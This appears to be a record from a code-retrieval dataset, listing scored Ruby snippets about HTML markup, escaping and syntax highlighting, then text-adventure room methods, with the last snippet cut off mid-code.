[ { "docid": "d4a7156b51a6cb3af223aada69b4f0a5", "score": "0.6488877", "text": "def syntax_up()\n doc = Hpricot(self.gsub(/\\t/,\" \" * options[:tab_stop] ).to_s )\n d = doc.search(\"/code\")\n if d.any? then\n c = d.first\n else\n @html = self.to_s\n return @html\n end\n\n c = filter_ultraviolet_language_aliaes(c)\n\n if( self.class.language_available?(c.attributes['lang']) ) then\n lang = c.attributes['lang']\n process_theme_for_lang(lang)\n process_inline_theme(c)\n syntaxified = Hpricot(ultravioletize(c.inner_html, lang)).search(\"/pre\")\n self.class.themes_used << options[:theme]\n syntaxified.add_class('doctored')\n syntaxified.attr('lang'=>lang)\n syntaxified.inner_html = build_info_bar({:language => lang}) + syntaxified.inner_html\n @html = \"<NOTEXTILE>\" + syntaxified.first.to_html + \"</NOTEXTILE>\"\n else\n @html = \"<NOTEXTILE><pre class='code_nolang'>#{self}</pre></NOTEXTILE>\"\n end\n @html\n end", "title": "" } ]
[ { "docid": "43ece825474005c0bdbbcdad3491f8d2", "score": "0.68820363", "text": "def editorial_markup\r\n\t\r\n\tend", "title": "" }, { "docid": "196e8f1dad4247e04f3a7a02a53429fd", "score": "0.6728049", "text": "def html_markup_html(text); end", "title": "" }, { "docid": "def3944aa36e1480e82214659adcab4c", "score": "0.6633315", "text": "def html_markup_asciidoc(text); end", "title": "" }, { "docid": "714630483ea921e49f27238a201035b7", "score": "0.6549094", "text": "def html_markup_text(text); end", "title": "" }, { "docid": "7debc168791e8b8db7ea2d9c3932cecc", "score": "0.6540904", "text": "def sdoc_markup_code\n return '' unless @token_stream\n\n src = \"\"\n starting_title = false\n\n @token_stream.each do |t|\n next unless t\n\n style = case t\n when RDoc::RubyToken::TkFLOAT then 'ruby-number'\n when RDoc::RubyToken::TkINTEGER then 'ruby-number'\n when RDoc::RubyToken::TkCONSTANT then 'ruby-constant'\n when RDoc::RubyToken::TkKW then 'ruby-keyword'\n when RDoc::RubyToken::TkIVAR then 'ruby-ivar'\n when RDoc::RubyToken::TkOp then 'ruby-operator'\n when RDoc::RubyToken::TkId then 'ruby-identifier'\n when RDoc::RubyToken::TkNode then 'ruby-node'\n when RDoc::RubyToken::TkCOMMENT then 'ruby-comment'\n when RDoc::RubyToken::TkREGEXP then 'ruby-regexp'\n when RDoc::RubyToken::TkSTRING then 'ruby-string'\n when RDoc::RubyToken::TkVal then 'ruby-value'\n end\n\n if RDoc::RubyToken::TkId === t && starting_title\n starting_title = false\n style = 'ruby-keyword ruby-title'\n end\n\n if RDoc::RubyToken::TkKW === t && TITLE_AFTER.include?(t.text)\n starting_title = true\n end\n\n text = CGI.escapeHTML t.text\n\n if style then\n src << \"<span class=\\\"#{style}\\\">#{text}</span>\"\n else\n src << text\n end\n end\n\n # dedent the source\n indent = src.length\n lines = src.lines.to_a\n lines.shift if src =~ /\\A.*#\\ *File/i # remove '# File' comment\n lines.each do |line|\n if line =~ /^ *(?=\\S)/\n n = $&.length\n indent = n if n < indent\n break if n == 0\n end\n end\n src.gsub!(/^#{' ' * indent}/, '') if indent > 0\n\n add_line_numbers(src) if self.class.add_line_numbers\n\n src\n end", "title": "" }, { "docid": "bbbd1c8c7c794084b4403f11d360c590", "score": "0.65400094", "text": "def html_markup_textile(text); end", "title": "" }, { "docid": "5f776d74aaac2087625e1bfc8ee0c0da", "score": "0.6497691", "text": "def markup_code\n return '' unless @token_stream\n \n src = \"\"\n \n @token_stream.each do |t|\n next unless t\n # style = STYLE_MAP[t.class]\n style = case t\n when RDoc::RubyToken::TkCONSTANT then \"ruby-constant\"\n when RDoc::RubyToken::TkKW then \"ruby-keyword kw\"\n when RDoc::RubyToken::TkIVAR then \"ruby-ivar\"\n when RDoc::RubyToken::TkOp then \"ruby-operator\"\n when RDoc::RubyToken::TkId then \"ruby-identifier\"\n when RDoc::RubyToken::TkNode then \"ruby-node\"\n when RDoc::RubyToken::TkCOMMENT then \"ruby-comment cmt\"\n when RDoc::RubyToken::TkREGEXP then \"ruby-regexp re\"\n when RDoc::RubyToken::TkSTRING then \"ruby-value str\"\n when RDoc::RubyToken::TkVal then \"ruby-value\"\n else nil\n end\n \n text = CGI.escapeHTML(t.text)\n \n if style\n src << \"<span class=\\\"#{style}\\\">#{text}</span>\"\n else\n src << text\n end\n end\n \n add_line_numbers src if RDoc::RDoc.current.options.include_line_numbers\n \n src\n end", "title": "" }, { "docid": "b79925626b18dab32112fef3a974efe3", "score": "0.6497038", "text": "def html_markup_pre(text); end", "title": "" }, { "docid": "5ff21e1b0c528f46133513ccca512518", "score": "0.6489847", "text": "def to_html\n #TODO write checkers based on SHA-1 of self @ SHA-1 of\n #pre_html_sha\n syntax_up unless @html\n @html\n end", "title": "" }, { "docid": "00f509c405f594415fcbb281860f5f66", "score": "0.64172584", "text": "def html_markup_rdoc(text); end", "title": "" }, { "docid": "272fe15ada3350b931fc5845d5390aa4", "score": "0.64057565", "text": "def markup\n self.text.sub(/^(.*)$/,'<b>\\1</b>')\n end", "title": "" }, { "docid": "c33e67caba8c413c9c25d321ce24fb5c", "score": "0.6361129", "text": "def render_doc_markup_for(code_object); end", "title": "" }, { "docid": "c33e67caba8c413c9c25d321ce24fb5c", "score": "0.6361129", "text": "def render_doc_markup_for(code_object); end", "title": "" }, { "docid": "c33e67caba8c413c9c25d321ce24fb5c", "score": "0.6361129", "text": "def render_doc_markup_for(code_object); end", "title": "" }, { "docid": "c33e67caba8c413c9c25d321ce24fb5c", "score": "0.6361129", "text": "def render_doc_markup_for(code_object); end", "title": "" }, { "docid": "7644af32a14ea7ccba22511383ff23cb", "score": "0.6359753", "text": "def markup\n res = Rinku.auto_link @text, :urls, \"target='_window'\", [\"a\", \"pre\", \"code\", \"kbd\", \"script\", \"img\"]\n res.html_safe\n end", "title": "" }, { "docid": "35c31984c54aaf562b1f86e151db056f", "score": "0.6350716", "text": "def html_markup_org(text); end", "title": "" }, { "docid": "46405d168deba7bf6f22afc39463b303", "score": "0.6338058", "text": "def html_syntax_highlight(source, type = T.unsafe(nil)); end", "title": "" }, { "docid": "cb34de8a93ffaeb77d13e0d3483d3f0e", "score": "0.63095117", "text": "def html\n\t\t\tdata[:selftext_html]\n\t\tend", "title": "" }, { "docid": "ab35b9b421865a41ea833555f676242c", "score": "0.62681633", "text": "def html_safe; end", "title": "" }, { "docid": "ab35b9b421865a41ea833555f676242c", "score": "0.62681633", "text": "def html_safe; end", "title": "" }, { "docid": "f467184455845e0e077d01c1dc3e24c1", "score": "0.6255715", "text": "def before_save\n\t\tself.html = RedCloth.new(self.text).to_html\n\tend", "title": "" }, { "docid": "80dc4583c6e6509a7fd7e04ce0d3ac74", "score": "0.6181165", "text": "def formatted_body\n #replacer = Time.now.strftime('[code-%d]')\n #html = Syntaxi.new(\"[code lang='ruby']#{self.body.gsub('[/code]', replacer)}[/code]\").process\n #\"<div class=\\\"syntax syntax_ruby\\\">#{html.gsub(replacer, '[/code]')}</div>\"\n \n\t\ttokens = CodeRay.scan self.body, :ruby\n\t\ttokens.html :line_numbers => :inline, :wrap => :div\n\n end", "title": "" }, { "docid": "e38fc0ac29e89c0440b1bc350437a128", "score": "0.61738205", "text": "def html; end", "title": "" }, { "docid": "2a5f4e36b88d4c7eae363add6a0b3f5a", "score": "0.6108797", "text": "def html(*)\n \"<pre>\\n#{h text}\\n</pre>\"\n end", "title": "" }, { "docid": "25b78ce92224e33ec7f24e87ec3375fe", "score": "0.6087168", "text": "def comment_html\n DummyMarkup.new.markup comment\n end", "title": "" }, { "docid": "95a117abcb36ec8882fa847729dd90bc", "score": "0.6042871", "text": "def tex\n %(<span class=\"texhtml\">T<span class=\"texhtmlE\">E</span>X</span>)\n end", "title": "" }, { "docid": "2c4c6375a50ab3a615750cafebffc381", "score": "0.6040883", "text": "def dump_html()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "13ad5b6eb7a46d3251d55bcd74158e54", "score": "0.60390484", "text": "def document_highlight; end", "title": "" }, { "docid": "cdb89b22b7b0f68a3c86e1008bc233c6", "score": "0.6038274", "text": "def parsed_content\n GitHub::Markup.render_s(GitHub::Markups::MARKUP_MARKDOWN, self.content)\n end", "title": "" }, { "docid": "9629c2be68f7d49dddb0e62766da6ede", "score": "0.59803146", "text": "def html?; end", "title": "" }, { "docid": "5c356a38392fbf09ec2494fa6ed62b91", "score": "0.59758985", "text": "def html_markup_html(text)\n text\n end", "title": "" }, { "docid": "874033e45ef4e828dc87afbc58174a0b", "score": "0.5960322", "text": "def inner_html; end", "title": "" }, { "docid": "7290dcd3d55004c52163b35d5dee7cb3", "score": "0.5951268", "text": "def generate_mark( current_page, mark_type, content )\n\t\treturn \"%%(editorial %s-mark)%s%%\" % [ mark_type, content ]\n\tend", "title": "" }, { "docid": "6651558a26d278393f589b8cbb66c912", "score": "0.5937982", "text": "def marked_up_blob(blob, blob_path)\n if ConfigVar['markdpwn'] == 'enabled'\n Markdpwn.markup(blob.data, file_name: blob_path,\n mime_type: blob.mime_type).html_safe\n else\n content_tag :div, html_escape(blob.data), class: 'markdpwn-off-code'\n end\n end", "title": "" }, { "docid": "3ecefce800087f1a45c8f66b5c376508", "score": "0.5930393", "text": "def html_esc(*args)\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "cbb95f26ed349f658f71b12e1ea3ffe4", "score": "0.5929723", "text": "def markdown\n @current = Kramdown::Document.new(@current, kramdown_options).to_slodown_html\n self\n end", "title": "" }, { "docid": "7b11f9eddee3fee04211cdeb5d7c7d3a", "score": "0.5926967", "text": "def escape_html(html); end", "title": "" }, { "docid": "7b11f9eddee3fee04211cdeb5d7c7d3a", "score": "0.5926967", "text": "def escape_html(html); end", "title": "" }, { "docid": "687887206b1816b4252e398e180d197e", "score": "0.5921634", "text": "def to_html\n\t\t\tcontent = nil\n\n\t\t\tif block_given? \n\t\t\t\tcontent = yield\n\t\t\t\t# self.log.debug \"content = %p\" % content\n\t\t\telse\n\t\t\t\tcontent = self.escape_html( @raw )\n\t\t\tend\n\n\t\t\ttokenclass = self.css_class\n\n\t\t\t%q{<span class=\"token %s\">%s</span>} % [\n\t\t\t\ttokenclass,\n\t\t\t\tcontent,\n\t\t\t]\n\t\tend", "title": "" }, { "docid": "b317616fa0eaf071b0489c0e1ceda6f4", "score": "0.5916227", "text": "def html_markup_markdown(text); end", "title": "" }, { "docid": "0202a69f9da428f05a030ffda49eb10b", "score": "0.5908132", "text": "def hint_html\n end", "title": "" }, { "docid": "c91860c4d05c561aafee9e10eae27904", "score": "0.5890436", "text": "def syntax_highlighter(html)\n doc = Nokogiri::HTML(html)\n doc.search(\"//pre[@lang]\").each do |pre|\n pre.replace Albino.colorize(pre.text.rstrip, pre[:lang])\n end\n doc.to_s\n end", "title": "" }, { "docid": "0c365e8a65b00dba8dbc5cede9932c9e", "score": "0.58724576", "text": "def markup_code(tokens)\n src = \"\"\n tokens.each do |t|\n next unless t\n# style = STYLE_MAP[t.class]\n style = case t\n when RDoc::RubyToken::TkCONSTANT then \"ruby-constant\"\n when RDoc::RubyToken::TkKW then \"ruby-keyword kw\"\n when RDoc::RubyToken::TkIVAR then \"ruby-ivar\"\n when RDoc::RubyToken::TkOp then \"ruby-operator\"\n when RDoc::RubyToken::TkId then \"ruby-identifier\"\n when RDoc::RubyToken::TkNode then \"ruby-node\"\n when RDoc::RubyToken::TkCOMMENT then \"ruby-comment cmt\"\n when RDoc::RubyToken::TkREGEXP then \"ruby-regexp re\"\n when RDoc::RubyToken::TkSTRING then \"ruby-value str\"\n when RDoc::RubyToken::TkVal then \"ruby-value\"\n else\n nil\n end\n\n text = CGI.escapeHTML(t.text)\n\n if style\n src << \"<span class=\\\"#{style}\\\">#{text}</span>\"\n else\n src << text\n end\n end\n\n add_line_numbers(src) if @options.include_line_numbers\n src\n end", "title": "" }, { "docid": "c4df3486423a9118479812d6fa77cd0d", "score": "0.58666015", "text": "def traite_as_document_content_html\n str = self\n str = str.gsub(/\\n/, \"<br />\")\n return str\n end", "title": "" }, { "docid": "c4df3486423a9118479812d6fa77cd0d", "score": "0.58666015", "text": "def traite_as_document_content_html\n str = self\n str = str.gsub(/\\n/, \"<br />\")\n return str\n end", "title": "" }, { "docid": "9d0f36c92e2c4769c6d4c5b4ce22ec75", "score": "0.58498895", "text": "def html\n end", "title": "" }, { "docid": "9d0f36c92e2c4769c6d4c5b4ce22ec75", "score": "0.58498895", "text": "def html\n end", "title": "" }, { "docid": "c0466a74ea9ccde4d5872e79967f9613", "score": "0.5828354", "text": "def highlight?; end", "title": "" }, { "docid": "82b08127041f3d37cc980d248e639171", "score": "0.58156925", "text": "def edit_html\n ''\n end", "title": "" }, { "docid": "7adbcb5f944f9d3970b1ede670e2d22a", "score": "0.5789823", "text": "def markup_code(tokens)\n src = \"\"\n tokens.each do |t|\n next unless t\n # p t.class\n # style = STYLE_MAP[t.class]\n style = case t\n when RubyToken::TkCONSTANT then \"ruby-constant\"\n when RubyToken::TkKW then \"ruby-keyword kw\"\n when RubyToken::TkIVAR then \"ruby-ivar\"\n when RubyToken::TkOp then \"ruby-operator\"\n when RubyToken::TkId then \"ruby-identifier\"\n when RubyToken::TkNode then \"ruby-node\"\n when RubyToken::TkCOMMENT then \"ruby-comment cmt\"\n when RubyToken::TkREGEXP then \"ruby-regexp re\"\n when RubyToken::TkSTRING then \"ruby-value str\"\n when RubyToken::TkVal then \"ruby-value\"\n else\n nil\n end\n\n text = CGI.escapeHTML(t.text)\n\n if style\n src << \"<span class=\\\"#{style}\\\">#{text}</span>\"\n else\n src << text\n end\n end\n\n add_line_numbers(src)\n src\n end", "title": "" }, { "docid": "280e9d8f58f9c5425983f1317d087bcb", "score": "0.578005", "text": "def generate_html\n html = \"<a id='note_#{@note_id}'><h1>Note #{@note_id}</h1></a>\\n\"\n html += \"<b>Account:</b> #{@account.name} <br />\\n\"\n html += \"<b>Folder:</b> <a href='#folder_#{@folder.primary_key}'>#{@folder.name}</a> <br/>\\n\"\n html += \"<b>Title:</b> #{@title} <br/>\\n\"\n html += \"<b>Created:</b> #{@creation_time} <br/>\\n\"\n html += \"<b>Modified:</b> #{@modify_time} <br />\\n\"\n html += \"<b>Content:</b> <br />\\n\"\n\n # Handle the text to insert, only if we have plaintext to run\n if @plaintext\n html += \"#{plaintext}\" if @notestore.version == AppleNoteStore::IOS_LEGACY_VERSION\n html += generate_html_text if @notestore.version > AppleNoteStore::IOS_VERSION_9\n else\n html += \"{Contents not decrypted}\" if @encrypted_data\n end\n return html\n end", "title": "" }, { "docid": "a913d5f7205da5777ba09aa79703ce25", "score": "0.57568955", "text": "def content\n return @content if @content\n\n post_content=raw_content.dup\n # stash highlight code\n highlights={}\n post_content.gsub! HIGHLIGHT_RE do\n placeholder='HIGHLIGHT-'+SecureRandom.uuid+'-ENDHIGHLIGHT'\n highlights[placeholder]={\n lexer:$1,\n linenos: $2 ? 'table' : false ,\n linenostart: $3 ? $3[1..-1].to_i : 1,\n code: $4.strip,\n nowrap:$4[\"\\n\"].nil?\n }\n placeholder\n end\n # Then render erb template if needed\n post_content=PlainSite::Tpl::LayErb.render_s post_content,self if post_content['<%']\n post_content=self.class.content_to_html post_content,content_type\n\n #put back code\n highlights.each do |k,v|\n code=Pygments.highlight v[:code],lexer:v[:lexer],options:{\n linenos:v[:linenos],\n linenostart:v[:linenostart],\n nowrap:v[:nowrap],\n startinline: v[:lexer] == 'php'\n }\n code=\"<code class=\\\"highlight\\\">#{code}</code>\" if v[:nowrap]\n post_content[k]=code # String#sub method has a hole of back reference\n end\n post_content\n end", "title": "" }, { "docid": "5daeeb05e268d682b085ae1e9bc04ed1", "score": "0.5751513", "text": "def set_html!\n super\n self.teaser_html = if self.teaser?\n textile = self.teaser + %Q|<p><a href=\"#{self.permalink}\">read more &rarr;</a></p>|\n RedCloth.new(textile).to_html\n else\n nil\n end\n end", "title": "" }, { "docid": "c99a859caa51de52f588f1a71c47d019", "score": "0.57500625", "text": "def html_escape_once(s); end", "title": "" }, { "docid": "c99a859caa51de52f588f1a71c47d019", "score": "0.57500625", "text": "def html_escape_once(s); end", "title": "" }, { "docid": "c99a859caa51de52f588f1a71c47d019", "score": "0.57500625", "text": "def html_escape_once(s); end", "title": "" }, { "docid": "c99a859caa51de52f588f1a71c47d019", "score": "0.57500625", "text": "def html_escape_once(s); end", "title": "" }, { "docid": "68c329c3f3f4ebec4e8e605f508f88e1", "score": "0.5738587", "text": "def rendered\n h.sanitize markdown.render(object.content || ''), attributes:%w(id class style)\n # h.raw markdown.render(object.content || '')\n end", "title": "" }, { "docid": "5aea2c7174c2641c9d34cfa5d8627413", "score": "0.5731536", "text": "def block_code code, language\n super.sub(/\\sclass=\"highlight text\"/, '')\n end", "title": "" }, { "docid": "16e97d573267fa9dc39a614ed4b7c35b", "score": "0.5725194", "text": "def highlight code, lang, options = { :css => :class }, format = :div\n encode code, lang, format, options\n end", "title": "" }, { "docid": "58ac9fadcd191363937364054abc3a2b", "score": "0.572478", "text": "def html_text\n @html_text ||= parser.render(@original_text)\n end", "title": "" }, { "docid": "cb0d928520b0ad19985fe0be104a5ea5", "score": "0.57169175", "text": "def markdown_to_html\n replace_toc_marker\n prepend_h1 if config.auto_h1\n add_anchor_ids\n html = doc.to_html :UNSAFE\n html = syntax_highlight(html) if config.highlighter\n html\n end", "title": "" }, { "docid": "d2d1c4556566e3577a07e0e29d80a28e", "score": "0.5714242", "text": "def escape_html!\n\t\tself.replace( self.escape_html )\n\tend", "title": "" }, { "docid": "ab561bddccf86310bd733f79a771e783", "score": "0.57056093", "text": "def generate_html\n return self.to_s\n end", "title": "" }, { "docid": "05df9d6947a08ea8cf6265a26c91ff5e", "score": "0.57033104", "text": "def html\n\n\t\t# initially, don't cache any of this, generate on the fly\n\t\thtml = Rails.cache.read(\"wrapper/#{self.id.to_s}\")\n\t\tif html.nil?\n\t\t\tself.generate if self.markup.empty?\n\t\t\thtml = self.markup\n\t\t\tself.feedobjectids.each { |f| html += Feedobject.find(f).html.html_safe }\n\t\t\thtml = IndirectModelController.new.feedbox(Teacher.find(self.whoid),html).html_safe\n\t\t\tRails.cache.write(\"wrapper/#{self.id.to_s}\",html,:expires_in => 2.hours)\n\t\t\t#self.update_attributes(:markup => '')\n\t\tend\n\t\thtml.html_safe\t\n\tend", "title": "" }, { "docid": "6238936e0461b42c2aa78e2e57bbd1b1", "score": "0.56967616", "text": "def highlight\n markdown.gsub(/<pre><code>:::([-_a-zA-Z0-9]+)\\n(.*?)<\\/code><\\/pre>/m) do |code|\n Uv.parse(@@coder.decode($2), \"xhtml\", $1, false, 'twilight')\n end\n end", "title": "" }, { "docid": "5039cf9aaca9125135870ea411987f41", "score": "0.5696446", "text": "def to_html\n HeadingLinker.new(markdown_doc).link_headings!\n CodeHighlighter.new(markdown_doc).highlight!\n CustomElements.process!(markdown_doc)\n markdown_doc.to_html\n end", "title": "" }, { "docid": "eb32669b6e3078eed2c92e9dad154bfa", "score": "0.56963545", "text": "def highlighted\n if @language\n CodeRay.scan(@code, @language).html(:line_numbers => :table)\n else\n CodeRay.scan(@code, :text).div\n end\n end", "title": "" }, { "docid": "fc5b7a846210d88a12aa9e9b6176d0b2", "score": "0.56887484", "text": "def render(context)\n mycode = \"#{@codefile}\"\n <<MARKUP.strip\n<pre><code>#{CGI.escapeHTML(fetch_file(mycode))}</code></pre>\nMARKUP\n end", "title": "" }, { "docid": "4f4bb52120ffb581b479327205a4282e", "score": "0.56871057", "text": "def to_html_code(code)\n \"<span class=\\\"highlight inlineCode\\\" data-lang=\\\"#resolve\\\">\"\\\n \"#{code.chomp}</span>\"\n end", "title": "" }, { "docid": "56a407996c7720b35fec27d0ef386636", "score": "0.5686158", "text": "def code_html\n CodeRay.scan(code, code_type.to_sym).div\n end", "title": "" }, { "docid": "95460b667082b2b1ce2c82cd99befa00", "score": "0.5682455", "text": "def html\n\t\thtml = Rails.cache.read(\"feedobject/#{self.id.to_s}\")\n\t\tif html.nil?\n\t\t\tself.generate if self.markup.empty?\n\t\t\tRails.cache.write(\"feedobject/#{self.id.to_s}\",self.markup,:expires_in => 2.hours)\n\t\t\thtml = self.markup\n\t\t\t# this write only saves DB space, technically unnecessary\n\t\t\t# self.update_attributes(:markup => '')\n\t\tend\n\t\thtml\n\tend", "title": "" }, { "docid": "da89734b74a09e5aaf01ae4804c46fc1", "score": "0.5682138", "text": "def inspect\n \"<#{self.class}: @text=\\\"#{@text}\\\", @link=#{@link}, @html_class=#{@html_class}, @span=#{@span}>\"\n end", "title": "" }, { "docid": "200f14db279921a29d7435d72ec26663", "score": "0.568056", "text": "def html\n return wrapper(self.content)\n end", "title": "" }, { "docid": "41d38a55e6c3252f6d1d40ab521a1a47", "score": "0.5679982", "text": "def generate_html\n self.description_html = MarkdownRenderer.render description\n end", "title": "" }, { "docid": "4951f5a6f7d9fe6be4b81a054c7173af", "score": "0.56789154", "text": "def highlight(code, options = T.unsafe(nil)); end", "title": "" }, { "docid": "4fff9892adb65456eb42ae27cdb79f46", "score": "0.5673783", "text": "def new_text; end", "title": "" }, { "docid": "4fff9892adb65456eb42ae27cdb79f46", "score": "0.5673783", "text": "def new_text; end", "title": "" }, { "docid": "4fff9892adb65456eb42ae27cdb79f46", "score": "0.5673783", "text": "def new_text; end", "title": "" }, { "docid": "04fd9a9f5bef09585b3f1f72136de038", "score": "0.5651573", "text": "def highlights; end", "title": "" }, { "docid": "315c74dedd5b4a8611ab926dc6472857", "score": "0.5646656", "text": "def __content; ''; end", "title": "" }, { "docid": "090e16a2ace42162de4ac87cfc34724c", "score": "0.5633964", "text": "def update_html_code\n self.update_column(:html_code, self.get_html_code)\n end", "title": "" }, { "docid": "8cfd2c8bafbb0b2be72635caea3215dc", "score": "0.5630285", "text": "def render\n data = @data.dup\n data = remove_yaml_front_matter(data) if @do_remove_yaml_front_matter\n data = extract_code(data)\n data = extract_tags(data)\n begin\n data = data.force_encoding('utf-8') if data.respond_to? :force_encoding\n data = GitHub::Markup.render(@filename, data)\n if data.nil?\n raise \"There was an error converting #{@name} to HTML.\"\n end\n rescue Object => e\n data = %{<p class=\"gimli-error\">#{e.message}</p>}\n end\n data = process_tags(data)\n data = process_code(data)\n\n doc = Nokogiri::HTML::DocumentFragment.parse(data, 'UTF-8')\n yield doc if block_given?\n data = doc_to_html(doc)\n\n data.gsub!(/<p><\\/p>/, '')\n data\n end", "title": "" }, { "docid": "4c3fdd5efdc98d364ddbb68617f2db9b", "score": "0.5629454", "text": "def document_highlight_provider; end", "title": "" }, { "docid": "888aabee65f319ac87a671dfa6d9721c", "score": "0.5617258", "text": "def style_code(page)\n # Style all the code\n html_decoder = HTMLEntities.new\n page.css('.language-C, .language-c').each_with_index do |div, i|\n \n # This is to create a copyable version of the code\n # The link has been disabled but the startup code is still ehre\n id_target = \"code-copy-#{i}\"\n copy = Nokogiri::XML::Node.new('a', page)\n copy['class'] = 'code-copy'\n copy.inner_html = 'Copy'\n copy['rel'] = id_target\n copy['onclick'] = 'onCopy(this);'\n\n textarea = Nokogiri::XML::Node.new('textarea', page)\n textarea['id'] = id_target\n textarea['class'] = 'code-copy-textarea'\n textarea['value'] = div.inner_html\n\n # Now we style the div.\n # We don't want the JS to do the styling on the front end\n # So what we do is parse the code on the inside, wrap each keyword\n # In a span corresponding to the syntax highlighting\n # And wrap that entire thing into a span\n formatter = Rouge::Formatters::HTML.new\n lexer = Rouge::Lexers::C.new\n formatted = formatter.format(lexer.lex(html_decoder.decode(div.inner_html)))\n code = Nokogiri::XML(\"<span>#{formatted}</span>\")\n\n # Change all the pre's to divs because browsers don't like pre\n code.css('pre').each do |pre|\n pre.name = 'div'\n end\n\n # Put in the formatted code.\n div.inner_html = formatted\n end\nend", "title": "" }, { "docid": "09d12bdaeed533352ff9ee870b20b922", "score": "0.5616206", "text": "def style_code(page)\n # Style all the code\n html_decoder = HTMLEntities.new\n page.css('.language-C, .language-c').each_with_index do |div, i|\n\n # This is to create a copyable version of the code\n # The link has been disabled but the startup code is still ehre\n id_target = \"code-copy-#{i}\"\n copy = Nokogiri::XML::Node.new('a', page)\n copy['class'] = 'code-copy'\n copy.inner_html = 'Copy'\n copy['rel'] = id_target\n copy['onclick'] = 'onCopy(this);'\n\n textarea = Nokogiri::XML::Node.new('textarea', page)\n textarea['id'] = id_target\n textarea['class'] = 'code-copy-textarea'\n textarea['value'] = div.inner_html\n\n # Now we style the div.\n # We don't want the JS to do the styling on the front end\n # So what we do is parse the code on the inside, wrap each keyword\n # In a span corresponding to the syntax highlighting\n # And wrap that entire thing into a span\n formatter = Rouge::Formatters::HTML.new\n lexer = Rouge::Lexers::C.new\n formatted = formatter.format(lexer.lex(html_decoder.decode(div.inner_html)))\n code = Nokogiri::XML(\"<span>#{formatted}</span>\")\n\n # Change all the pre's to divs because browsers don't like pre\n code.css('pre').each do |pre|\n pre.name = 'div'\n end\n\n # Put in the formatted code.\n div.inner_html = formatted\n end\nend", "title": "" }, { "docid": "8486af576247e490bc845ed95ffde5cc", "score": "0.56109077", "text": "def syntax_highlight(html)\n line_numbers = config.line_numbers ? :table : nil\n opts = { css: :style, wrap: nil, line_numbers: line_numbers }\n html.gsub(/\\<code class=\"language-(.+?)\"\\>(.+?)\\<\\/code\\>/m) do\n lang, code = $1, $2\n code = CGI.unescapeHTML code\n CodeRay.scan(code, lang).html opts\n end\n end", "title": "" }, { "docid": "f7034ba8292ecec77b32b52bdaafd015", "score": "0.5610789", "text": "def html_safe?; true; end", "title": "" }, { "docid": "75b99d45a807a81fb53e0acf3ebe4b24", "score": "0.5610382", "text": "def highlight( content, options, lang )\n\t\tsource = ERB::Util.html_escape( content )\n\t\treturn %Q{\\n\\n<pre class=\"brush:#{lang}\">#{source}</pre>\\n\\n}\n\tend", "title": "" }, { "docid": "16f5dcf641bba564ac2098a17d6e91c2", "score": "0.5610172", "text": "def html\n @doc.to_s\n end", "title": "" }, { "docid": "16f5dcf641bba564ac2098a17d6e91c2", "score": "0.5610172", "text": "def html\n @doc.to_s\n end", "title": "" }, { "docid": "a495eaa67c12a882921450fa430f4b88", "score": "0.5607532", "text": "def process\n code = raw.to_s.strip_heredoc\n code = process_file.gsub(/\\n^.*?@(begin|end):.*?$/, \"\") if meta[:file]\n\n code = Highlight.apply(code, language)\n\n # file name\n if meta[:file] && Dependency.pygments_rb?\n html = Nokogiri::HTML(code)\n highlight = html.at_css('.highlight')\n\n unless meta[:type] == :range\n file_name = Nokogiri::XML::Node.new \"span\", html\n file_name['class'] = 'filename'\n file_name.content = \"# ./code/#{meta[:file]}\"\n highlight.children.first.add_previous_sibling(file_name)\n end\n\n code = html.css('body').inner_html\n end\n \n # escape for textile\n code = %[<notextile>#{code}</notextile>] if format == :textile\n code\n end", "title": "" }, { "docid": "da4bda328bb8e6948c920181f34849f7", "score": "0.5603892", "text": "def current_content\n notebook.content\n end", "title": "" }, { "docid": "da4bda328bb8e6948c920181f34849f7", "score": "0.5603892", "text": "def current_content\n notebook.content\n end", "title": "" }, { "docid": "604bbc1672eb8693c0a02c526b13e5d8", "score": "0.56021816", "text": "def hilite s, lang, inline=false\n if !lang or lang =~ /\\A(ma(rkascend)?)?\\z/i or !(::Pygments::Lexer.find lang)\n # TODO ma lexer\n s = inline ? (escape_html s) : (escape_pre s)\n else\n s = Pygments.highlight s, lexer: lang, options: {nowrap: true}\n end\n\n # TODO config class\n if inline\n %Q|<code class=\"highlight\">#{s}</code>|\n else\n %Q|<pre><code class=\"highlight\">#{s}</code></pre>|\n end\n end", "title": "" }, { "docid": "e2d2a635753a6bddcbd125f65e254fa8", "score": "0.5587418", "text": "def for_syntax( lang )\n Syntax::Convertors::HTML.for_syntax( lang )\n end", "title": "" }, { "docid": "d8de81a0aeb8e7a451a860ae83adb7c0", "score": "0.5586731", "text": "def markup_content\n to_markdown\n end", "title": "" }, { "docid": "d8de81a0aeb8e7a451a860ae83adb7c0", "score": "0.5586731", "text": "def markup_content\n to_markdown\n end", "title": "" }, { "docid": "37ca175ebe33911c3cdeefd3636aa109", "score": "0.5583439", "text": "def auto_html_basic html\n auto_html html.to_str do\n simple_format\n issue_link\n link target: 'blank'\n end\n end", "title": "" } ]
434389e68f452e74436cd8472265c0a9
Room where you begin in
[ { "docid": "b2d4b495d7875e25eb4c8bd9609d6798", "score": "0.57599634", "text": "def main_room\n main = L.new(:name => \"the Main Room\")\n main.east = L.new(:name => \"the East Room\", :items => [BallaAssSpoon.new, CrystalBall.new])\n main.east.south = L.new(:name => \"a creepy dungeon\")\n main.east.south.south = L.new(:name => \"Hell\") { |room| room.on_enter { rainbow_say \"Welcome\\nto\\nHell!\\n\" * 8 } }\n main.west = L.new(:name => \"the West Room\")\n main.west.west = L.new(:name => \"the Far West Room\")\n main.west.west.north = L.new(:name => \"the North West Room\")\n main\n end", "title": "" } ]
[ { "docid": "d22836a1caec327f8956369ecbdcdfd7", "score": "0.7327802", "text": "def start_room\n\t\t@path.start.room\n\tend", "title": "" }, { "docid": "64b7ea09256993ea277eb864247f2230", "score": "0.6947798", "text": "def start_room\n self[@compute_start_room[]]\n end", "title": "" }, { "docid": "a3e08165ee497e57ab27edfc528a9473", "score": "0.6868941", "text": "def start_room\n self.load[:start_room]\n end", "title": "" }, { "docid": "34ce10022132088f68f7705d0941b07d", "score": "0.6697072", "text": "def room; end", "title": "" }, { "docid": "d0eb015736b89270172f99b2ac918eee", "score": "0.66388595", "text": "def current_room\n room\n end", "title": "" }, { "docid": "6d03091ef389036b8fa0c1597bd48b83", "score": "0.66185534", "text": "def enter_room()\n return guest.shift()\n end", "title": "" }, { "docid": "3f49907338b9def7733fcc95e26c27af", "score": "0.65865093", "text": "def start ()\n mroom = Room.new() #short for ManageRoom\n $inventory[0] = \"Torch\"\n 